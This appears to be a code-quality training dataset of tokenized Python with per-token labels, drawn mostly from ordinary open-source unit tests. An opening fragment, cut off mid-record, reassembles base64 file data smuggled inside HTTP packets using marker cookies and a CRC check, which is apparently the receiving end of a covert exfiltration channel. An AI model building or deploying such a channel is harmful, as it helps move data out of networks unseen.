"\\u",
"port_",
"==_",
"HTTP",
"\\u",
"PORT_",
")_",
"or_",
"(_",
"source",
"\\u",
"port_",
"==_",
"HTTP",
"\\u",
"PORT_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t\t\t_",
"filename_",
"=_",
"\"",
"df",
"bsd",
"gb",
"SF",
"GB",
"Sb",
"SR",
"TB",
"srt",
"hb",
"SF",
"GN",
"sr",
"HS",
"$",
"5",
"h",
"\"_",
"#",
" ",
"random",
" ",
"just",
" ",
"to",
" ",
"make",
" ",
"sure",
" ",
"no",
" ",
"match",
"._",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Get",
" ",
"the",
" ",
"actual",
" ",
"data_",
"\\u\\u\\uNL\\u\\u\\u_",
"h",
"\\u",
"size_",
"=_",
"eth",
"\\u",
"length_",
"+_",
"iph",
"\\u",
"length_",
"+_",
"tcp",
"h",
"\\u",
"length_",
"*_",
"4_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"data\\u",
"size_",
"=_",
"len_",
"(_",
"packet_",
")_",
"-_",
"h",
"\\u",
"size_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"data_",
"=_",
"packet_",
"[_",
"h",
"\\u",
"size_",
":_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"data_",
"._",
"find_",
"(_",
"INIT",
"\\u",
"PACKET",
"\\u",
"COOKIE",
"_",
")_",
"!=_",
"-_",
"1_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t\t\t\t_",
"data\\u",
"init",
"\\u",
"offset_",
"=_",
"data_",
"._",
"find_",
"(_",
"INIT",
"\\u",
"PACKET",
"\\u",
"COOKIE",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"via",
"ble",
"\\u",
"data_",
"=_",
"data_",
"[_",
"data\\u",
"init",
"\\u",
"offset_",
":_",
"]_",
"#",
" ",
"Get",
"ting",
" ",
"right",
" ",
"line_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"filename_",
"=_",
"via",
"ble",
"\\u",
"data_",
"[_",
"via",
"ble",
"\\u",
"data_",
"._",
"find_",
"(_",
"\"\\\\\"",
":",
" ",
"\\\\\"\"_",
")_",
"+_",
"4_",
":_",
"via",
"ble",
"\\u",
"data_",
"._",
"find_",
"(_",
"\"..\"_",
")_",
"]_",
"#",
" ",
"getti",
"ng",
" ",
"filename_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"via",
"ble",
"\\u",
"data_",
"=_",
"via",
"ble",
"\\u",
"data_",
"[_",
"via",
"ble",
"\\u",
"data_",
"._",
"find_",
"(_",
"\"..\"_",
")_",
"+_",
"2_",
":_",
"]_",
"#",
" ",
"trim",
" ",
"it_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"crc_",
"=_",
"via",
"ble",
"\\u",
"data_",
"[_",
":_",
"via",
"ble",
"\\u",
"data_",
"._",
"find_",
"(_",
"\"..\"_",
")_",
"]_",
"#",
" ",
"Get",
"ting",
" ",
"CR",
"C_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"via",
"ble",
"\\u",
"data_",
"=_",
"via",
"ble",
"\\u",
"data_",
"[_",
"via",
"ble",
"\\u",
"data_",
"._",
"find_",
"(_",
"\"..\"_",
")_",
"+_",
"2_",
":_",
"]_",
"#",
" ",
"trim",
" ",
"it_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"total",
"\\u",
"packets_",
"=_",
"via",
"ble",
"\\u",
"data_",
"[_",
":_",
"via",
"ble",
"\\u",
"data_",
"._",
"find_",
"(_",
"\"\\\\\"",
"}\"_",
")_",
"]_",
"#",
" ",
"Get",
"ting",
" ",
"packet",
" ",
"amount_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Print",
" ",
"user",
" ",
"frie",
"ndl",
"y",
" ",
"information_",
"\\u\\u\\uNL\\u\\u\\u_",
"log",
"\\u",
"fh_",
"._",
"write_",
"(_",
"\"",
"Got",
" ",
"initiati",
"on",
" ",
"packet",
" ",
"from",
" ",
"\"_",
"+_",
"str_",
"(_",
"s",
"\\u",
"addr_",
")_",
"+_",
"\".\\",
"\\",
"n",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"log",
"\\u",
"fh_",
"._",
"write_",
"(_",
"\"",
"Wil",
"l",
" ",
"now",
" ",
"initiate",
" ",
"captur",
"ing",
" ",
"of",
":",
" ",
"\\\\",
"n",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"log",
"\\u",
"fh_",
"._",
"write_",
"(_",
"\"\\\\",
"t",
"\\\\",
"t",
"File",
"name",
":\\\\",
"t",
"%",
"s",
"\\\\",
"n",
"\"_",
"%_",
"filename_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"log",
"\\u",
"fh_",
"._",
"write_",
"(_",
"\"\\\\",
"t",
"\\\\",
"t",
"CR",
"C3",
"2",
":\\\\",
"t",
"\\\\",
"t",
"%",
"s",
"\\\\",
"n",
"\"_",
"%_",
"crc_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"log",
"\\u",
"fh_",
"._",
"write_",
"(_",
"\"\\\\",
"t",
"\\\\",
"t",
"Total",
" ",
"Packe",
"ts",
":\\\\",
"t",
"%",
"s",
"\\\\",
"n",
"\"_",
"%_",
"total",
"\\u",
"packets_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"log",
"\\u",
"fh_",
"._",
"write_",
"(_",
"\"\\\\",
"t",
"\\\\",
"t",
"Orig",
"in",
" ",
"IP",
":\\\\",
"t",
"%",
"s",
"\\\\",
"n",
"\"_",
"%_",
"s",
"\\u",
"addr_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Set",
" ",
"up",
" ",
"for",
" ",
"file",
" ",
"writ",
"ing_",
"\\u\\u\\uNL\\u\\u\\u_",
"data\\u",
"packet",
"s",
"\\u",
"recv",
"d_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"fh_",
"=_",
"open_",
"(_",
"filename_",
"+_",
"\"\\u\"_",
"+_",
"crc_",
",_",
"WRITE",
"\\u",
"BINARY_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"recv",
"d\\u",
"data_",
"=_",
"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Foun",
"d",
" ",
"termination",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"data_",
"._",
"find_",
"(_",
"TERMINAT",
"ION",
"\\u",
"COOKIE",
"_",
")_",
"!=_",
"-_",
"1_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t\t\t\t_",
"log",
"\\u",
"fh_",
"._",
"write_",
"(_",
"\"",
"Terminati",
"on",
" ",
"from",
":",
" ",
"%",
"s",
"\\\\",
"n",
"\"_",
"%_",
"s",
"\\u",
"addr_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"zlib_",
"._",
"crc",
"32_",
"(_",
"recv",
"d\\u",
"data_",
")_",
"==_",
"int_",
"(_",
"crc_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"CR",
"C3",
"2",
" ",
"is",
" ",
"matche",
"d",
".",
" ",
"Continu",
"ing",
" ",
"to",
" ",
"decrypt",
"ion",
" ",
"and",
" ",
"file",
" ",
"saving",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t\t\t\t\t_",
"recv",
"d\\u",
"data_",
"=_",
"base64_",
"._",
"b64decode_",
"(_",
"recv",
"d\\u",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"fh_",
"._",
"write_",
"(_",
"recv",
"d\\u",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"fh_",
"._",
"close_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"log",
"\\u",
"fh_",
"._",
"write_",
"(_",
"\"[",
"+]",
" ",
"File",
" ",
"has",
" ",
"bee",
"n",
" ",
"created",
" ",
"and",
" ",
"saved",
" ",
"as",
" ",
"\"_",
"+_",
"str_",
"(_",
"filename_",
")_",
"+_",
"\"\\u\"_",
"+_",
"str_",
"(_",
"crc_",
")_",
"+_",
"\"\\\\",
"n",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t\t\t\t\t_",
"sys_",
"._",
"stderr_",
"._",
"write_",
"(_",
"\"[",
"!]",
" ",
"No",
" ",
"CR",
"C",
" ",
"match",
"!",
" ",
"Wil",
"l",
" ",
"not",
" ",
"be",
" ",
"writ",
"ing",
" ",
"file",
".\\\\",
"n",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Foun",
"d",
" ",
"regular",
" ",
"data_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"data_",
"._",
"find_",
"(_",
"PACKET",
"\\u",
"COOKIE",
"_",
")_",
"!=_",
"-_",
"1_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t\t\t\t_",
"data\\u",
"init",
"\\u",
"offset_",
"=_",
"data_",
"._",
"find_",
"(_",
"PACKET",
"\\u",
"COOKIE",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"via",
"ble",
"\\u",
"data_",
"=_",
"data_",
"[_",
"data\\u",
"init",
"\\u",
"offset_",
":_",
"]_",
"#",
" ",
"Get",
"ting",
" ",
"right",
" ",
"line_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"via",
"ble",
"\\u",
"data_",
"=_",
"via",
"ble",
"\\u",
"data_",
"[_",
"via",
"ble",
"\\u",
"data_",
"._",
"find_",
"(_",
"\"\\\\\"",
":",
" ",
"\\\\\"\"_",
")_",
"+_",
"4_",
":_",
"via",
"ble",
"\\u",
"data_",
"._",
"find_",
"(_",
"\"\\\\\"",
"}\"_",
")_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"recv",
"d\\u",
"data_",
"+=_",
"via",
"ble",
"\\u",
"data_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"data\\u",
"packet",
"s",
"\\u",
"recv",
"d_",
"+=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sys_",
"._",
"stdout_",
"._",
"write_",
"(_",
"str_",
"(_",
"data\\u",
"packet",
"s",
"\\u",
"recv",
"d_",
")_",
"+_",
"\"-\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Mus",
"t",
" ",
"be",
" ",
"regular",
" ",
"HTTP",
" ",
"request_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t\t\t\t_",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unreachable code | openstack/sahara/sahara/tests/unit/test_context.py | [
{
"content": " def test_thread_group_waits_threads_if_spawning_exception(self):\n lst = []\n\n with testtools.ExpectedException(RuntimeError):\n with context.ThreadGroup() as tg:\n for i in six.moves.range(400):\n tg.spawn('add %i' % i, self._add_element, lst, i)\n\n raise RuntimeError()\n\n self.assertEqual(400, len(lst))",
"metadata": "root.ContextTest.test_thread_group_waits_threads_if_spawning_exception",
"header": "['class', 'ContextTest', '(', 'testtools', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 57
}
]
| [
{
"span": "self.assertEqual(400, len(lst))",
"start_line": 67,
"start_column": 8,
"end_line": 67,
"end_column": 39
}
]
| []
| 1 | true | [
"[CLS]_",
"Unrea",
"chab",
"le_",
"code_",
"[SEP]_",
"class_",
"Context",
"Test_",
"(_",
"testtools_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"thread",
"\\u",
"group",
"\\u",
"waits",
"\\u",
"thread",
"s",
"\\u",
"if",
"\\u",
"spawn",
"ing",
"\\u",
"exception_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"lst_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"with_",
"testtools_",
"._",
"Expect",
"ed",
"Exception_",
"(_",
"Run",
"time",
"Error_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"with_",
"context_",
"._",
"Thread",
"Group_",
"(_",
")_",
"as_",
"tg_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"i_",
"in_",
"six_",
"._",
"moves_",
"._",
"range_",
"(_",
"400_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"tg_",
"._",
"spawn_",
"(_",
"'",
"add",
" ",
"%",
"i",
"'_",
"%_",
"i_",
",_",
"self_",
"._",
"\\u",
"add",
"\\u",
"element_",
",_",
"lst_",
",_",
"i_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"raise_",
"Run",
"time",
"Error_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"400_",
",_",
"len_",
"(_",
"lst_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2
]
|
Unused local variable | vintasoftware/django-role-permissions/rolepermissions/tests/test_shortcuts.py | [
{
"content": " def test_get_user_role(self):\n user = self.user\n\n user_role = ShoRole1.assign_role_to_user(user)\n\n self.assertEquals(get_user_role(user), ShoRole1)",
"metadata": "root.GetUserRoleTests.test_get_user_role",
"header": "['class', 'GetUserRoleTests', '(', 'TestCase', ')', ':', '___EOS___']",
"index": 64
},
{
"content": " def test_get_user_role_after_role_change(self):\n user = self.user\n\n user_role = ShoRole1.assign_role_to_user(user)\n user_role = ShoRole3.assign_role_to_user(user)\n\n self.assertEquals(get_user_role(user), ShoRole3)",
"metadata": "root.GetUserRoleTests.test_get_user_role_after_role_change",
"header": "['class', 'GetUserRoleTests', '(', 'TestCase', ')', ':', '___EOS___']",
"index": 71
}
]
| [
{
"span": "user_role ",
"start_line": 67,
"start_column": 8,
"end_line": 67,
"end_column": 17
},
{
"span": "user_role ",
"start_line": 75,
"start_column": 8,
"end_line": 75,
"end_column": 17
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"class_",
"Get",
"User",
"Ro",
"le",
"Tests_",
"(_",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"get",
"\\u",
"user",
"\\u",
"role_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"user_",
"=_",
"self_",
"._",
"user_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"user",
"\\u",
"role_",
"=_",
"Sho",
"Ro",
"le",
"1_",
"._",
"assign",
"\\u",
"role",
"\\u",
"to",
"\\u",
"user_",
"(_",
"user_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"get",
"\\u",
"user",
"\\u",
"role_",
"(_",
"user_",
")_",
",_",
"Sho",
"Ro",
"le",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Get",
"User",
"Ro",
"le",
"Tests_",
"(_",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"get",
"\\u",
"user",
"\\u",
"role",
"\\u",
"after",
"\\u",
"role",
"\\u",
"change_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"user_",
"=_",
"self_",
"._",
"user_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"user",
"\\u",
"role_",
"=_",
"Sho",
"Ro",
"le",
"1_",
"._",
"assign",
"\\u",
"role",
"\\u",
"to",
"\\u",
"user_",
"(_",
"user_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"user",
"\\u",
"role_",
"=_",
"Sho",
"Ro",
"le",
"3_",
"._",
"assign",
"\\u",
"role",
"\\u",
"to",
"\\u",
"user_",
"(_",
"user_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"get",
"\\u",
"user",
"\\u",
"role_",
"(_",
"user_",
")_",
",_",
"Sho",
"Ro",
"le",
"3_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Imprecise assert | ucb-sts/sts/tests/unit/sts/control_flow_test.py | [
{
"content": " def test_migration(self):\n simulation = None\n try:\n self.write_migration_superlog()\n simulation_cfg = self.setup_migration_simulation()\n replayer = Replayer(simulation_cfg, self.tmp_migration_superlog)\n simulation = replayer.simulate()\n latest_switch = simulation.topology.get_switch(7)\n latest_port = latest_switch.ports[101]\n (host, interface) = simulation.topology.get_connected_port(latest_switch,\n latest_port)\n self.assertTrue(type(host) == Host)\n finally:\n os.unlink(self.tmp_migration_superlog)\n if simulation is not None:\n simulation.clean_up()",
"metadata": "root.ReplayerTest.test_migration",
"header": "['class', 'ReplayerTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 188
}
]
| [
{
"span": "self.assertTrue(type(host) == Host)",
"start_line": 199,
"start_column": 6,
"end_line": 199,
"end_column": 41
}
]
| []
| 1 | true | [
"[CLS]_",
"Imp",
"reci",
"se_",
"assert_",
"[SEP]_",
"class_",
"Repl",
"aye",
"r",
"Test_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"migration_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"simulation_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"write",
"\\u",
"migrati",
"on",
"\\u",
"super",
"log_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"simulati",
"on",
"\\u",
"cfg_",
"=_",
"self_",
"._",
"setup",
"\\u",
"migrati",
"on",
"\\u",
"simulation_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"repla",
"yer_",
"=_",
"Repl",
"ayer_",
"(_",
"simulati",
"on",
"\\u",
"cfg_",
",_",
"self_",
"._",
"tmp",
"\\u",
"migrati",
"on",
"\\u",
"super",
"log_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"simulation_",
"=_",
"repla",
"yer_",
"._",
"simulate_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"late",
"st",
"\\u",
"switch_",
"=_",
"simulation_",
"._",
"topology_",
"._",
"get",
"\\u",
"switch_",
"(_",
"7_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"late",
"st",
"\\u",
"port_",
"=_",
"late",
"st",
"\\u",
"switch_",
"._",
"ports_",
"[_",
"101_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"(_",
"host_",
",_",
"interface_",
")_",
"=_",
"simulation_",
"._",
"topology_",
"._",
"get",
"\\u",
"connect",
"ed",
"\\u",
"port_",
"(_",
"late",
"st",
"\\u",
"switch_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"late",
"st",
"\\u",
"port_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"type_",
"(_",
"host_",
")_",
"==_",
"Host_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"finally_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"os_",
"._",
"unlink_",
"(_",
"self_",
"._",
"tmp",
"\\u",
"migrati",
"on",
"\\u",
"super",
"log_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"simulation_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"simulation_",
"._",
"clean",
"\\u",
"up_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | kislyuk/watchtower/test/test.py | [
{
"content": "#!/usr/bin/env python3\n# coding: utf-8\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport os, sys, unittest, collections, copy, re\n\nprint(sys.version)\n\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))\nfrom watchtower import *\nfrom eight import *\n\n\nif __name__ == \"__main__\":\n unittest.main()\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class TestPyCWL(unittest.TestCase):\n\n\n\n",
"metadata": "root.TestPyCWL",
"header": "['module', '___EOS___']",
"index": 13
},
{
"content": " def setUp(self):\n pass",
"metadata": "root.TestPyCWL.setUp",
"header": "['class', 'TestPyCWL', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 14
},
{
"content": " def test_basic_pycwl_statements(self):\n h = CloudWatchLogHandler()\n loggers = []\n for i in range(5):\n logger = logging.getLogger(\"logger{}\".format(i))\n logger.addHandler(h)\n #logger.addHandler(CloudWatchLogHandler(use_queues=False))\n loggers.append(logger)\n for i in range(10001):\n for logger in loggers:\n logger.error(\"test\")\n import time\n time.sleep(1)\n for i in range(9000):\n for logger in loggers:\n logger.error(\"test\")\n for i in range(1001):\n for logger in loggers:\n logger.error(\"test\")",
"metadata": "root.TestPyCWL.test_basic_pycwl_statements",
"header": "['class', 'TestPyCWL', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 17
},
{
"content": " def test_flush_safing(self):\n handler = CloudWatchLogHandler()\n logger = logging.getLogger(\"l\")\n logger.addHandler(handler)\n handler.flush()\n logger.critical(\"msg\")",
"metadata": "root.TestPyCWL.test_flush_safing",
"header": "['class', 'TestPyCWL', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 37
},
{
"content": " def test_json_logging(self):\n handler = CloudWatchLogHandler()\n logger = logging.getLogger(\"json\")\n logger.addHandler(handler)\n for i in range(10):\n logger.critical(dict(src=\"foo\", event=str(i), stack=[1, 2, 3, i], details={}))",
"metadata": "root.TestPyCWL.test_json_logging",
